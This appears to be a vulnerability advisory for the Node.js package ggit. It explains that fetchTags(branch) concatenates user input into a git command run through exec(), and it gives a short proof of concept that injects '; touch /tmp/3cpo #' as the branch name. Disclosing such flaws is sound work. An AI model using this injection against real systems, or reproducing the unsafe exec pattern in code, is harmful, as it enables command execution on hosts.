There is no fixed version for ggit.
Overview
Affected versions of this package are vulnerable to Command Injection via the fetchTags(branch) API, which allows user input to specify the branch to be fetched and then concatenates this string along with a git command which is then passed to the unsafe exec() Node.js child process API.
PoC
const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
// should be same as running command
// git pull origin --tags
console.log("done");
});
